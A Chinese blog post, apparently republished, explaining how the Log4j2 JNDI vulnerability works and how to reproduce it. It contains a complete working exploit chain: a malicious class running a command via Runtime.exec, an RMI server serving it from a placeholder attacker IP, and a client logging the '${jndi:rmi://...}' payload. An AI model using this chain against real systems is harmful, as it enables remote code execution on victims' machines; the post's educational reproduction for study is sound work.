最近Log4j2被爆高危漏洞,漏洞如何復現,原理是什麼呢?

​​​​​相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器

最近Log4j2被爆高危漏洞,漏洞如何復現,原理是什麼呢?

String source = “${jndi:rmi://駭客IP:1099/test}”;logger。error(source);複製程式碼

上面這段程式碼並不會像預想的打印出字串,“${jndi:rmi://駭客ip:埠/test}”出來,如果這個日誌是在自己的機器裡列印的,就會在自己的機器裡啟動計算器工具。

這現象的原理是什麼呢?

關鍵

就是這兩條:

1、log4j2列印日誌時,部分字串會當成命令名服務被執行。

2、log4j2可以透過jndi:rmi下載遠端程式碼,並在自己機器執行

以下是詳細說明:

Apache Log4j 2Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1。x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture。Important: Security Vulnerability CVE-2021-45046The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2。12。2 for Java 7 and 2。16。0 for Java 8 and up。Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack。DetailsIt was found that the fix to address CVE-2021-44228 in Apache Log4j 2。15。0 was incomplete in certain non-default configurations。 This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack。 Log4j 2。15。0 restricts JNDI LDAP lookups to localhost by default。Note that previous mitigations involving configuration such as setting the system property log4j2。noFormatMsgLookup to true do NOT mitigate this specific vulnerability。複製程式碼

以上是apache官網的一段說明,我們之前使用的log列印一般是log4j,然後就是logback當然springboot預設的也是logbac。因為在效能上logback優於log4j,從官網上看log4j2效能會優於log4j及logback,所以後面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

回到我們的問題為什麼會出現這種問題,還是官網上說的log4j2提供了一些可以讓使用者查詢一些配置資訊

最近Log4j2被爆高危漏洞,漏洞如何復現,原理是什麼呢?

​上圖可以看出log4j2透過 logger。info(“java:hw”)可以打印出伺服器cpu資訊出來而不是字串“{java:hw}“)可以打印出伺服器cpu資訊出來而不是字串“java:hw”)可以打印出伺服器cpu資訊出來而不是字串“{java:hw}”,大家可以看到這個就類似sql注入也,另外一個關鍵的就是log4j2此功能是透過java lookup實現的,也就是說駭客可以這樣操作:

最近Log4j2被爆高危漏洞,漏洞如何復現,原理是什麼呢?

從上圖可以看出,最關鍵的地方就在紅色部署,使用者機器會下載駭客的可執行檔案並在使用者機器上執行就是這病毒了,最上面演示的demo就是駭客讓使用者執行了自己機器上打開了計算器工具。

如果大家想自己實驗一下可以參考以下的程式碼,這個是引用了網上一篇部落格:

原文連結:blog。csdn。net/lizz861109/…

當然這篇部落格沒有實現 rmi://127。0。0。1:1099/xxxx 這個rmi服務程式碼可參考:

​p。s。 網上很多程式都不完整或打了碼

//step1:在駭客機新建HackerObj。java import javax。lang。model。element。Name;import javax。naming。Context;import java。io。BufferedInputStream;import java。io。BufferedReader;import java。io。IOException;import java。io。InputStreamReader;import java。util。HashMap;/** * @Author: hanko * @Date: 2021-12-16 10:12 */public class HackerObj { public static void exec(String cmd) throws IOException { String sb = “”; BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime。getRuntime()。exec(cmd)。getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); String lineStr; while ((lineStr = inBr。readLine()) != null) { sb += lineStr + “\n”; } inBr。close(); inBr。close(); } public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception { return null; } static { try { System。out。println(“駭客程式在此機器被執行了。”); exec(“calc。exe”); } catch (Exception e) { e。printStackTrace(); } }}//step2:在駭客機把HackerObj。java編譯成HackerObj。class,然後開個nginx把HackerObj。class放進去讓它可以在網路上訪問,如: http://駭客ip:8080/HackerObj。classp。s。 HackerObj。java創造時不要放在package裡,放package裡好像被使用者下載會提示notfindclass,有空再研究一下。//step3: 建立個Server。java啟動駭客rmi服務package com。jndi;import com。sun。jndi。rmi。registry。ReferenceWrapper;import javax。naming。NamingException;import javax。naming。Reference;import java。rmi。AlreadyBoundException;import java。rmi。RemoteException;import java。rmi。registry。LocateRegistry;import java。rmi。registry。Registry;/** * @Author: hanko * @Date: 2021-12-16 9:18 */public class Server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry。createRegistry(1099); //http://駭客ip:8080/HackerObj。class String url = “http://駭客ip:8080/”; System。out。println(“Create RMI registry on port 1099”); Reference reference = new Reference(“HackerObj”, “HackerObj”, url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry。bind(“test”, referenceWrapper); }}//stpe4:在使用者機新建Client。java,package com。jndi;import org。apache。logging。log4j。LogManager;import org。apache。logging。log4j。Logger;/** * @Author: hanko * @Date: 2021-12-16 10:27 */public class Client { static Logger logger = LogManager。getLogger(); public static void main(String[] args) { logger。error(“${jndi:rmi://駭客ip:1099/test}”); }}// 在使用者機執行Client。java會發現“駭客程式在此機器被執行了。”//在使用者機器打印出來了,同時使用者機器計算器工具也被打開了//step5: log4j2 復現就是用以下程式碼 logger。info(“${java:vm}”); logger。error(“${jndi:rmi://駭客ip:1099/test}”);複製程式碼

總結

關鍵

就是這兩條:

1、log4j2列印日誌時,部分字串會當成命令名服務被執行。

2、log4j2可以透過jndi:rmi下載遠端程式碼,並在自己機器執行

作者:玄明Hanko

原文連結:https://juejin。cn/post/7042145376400801823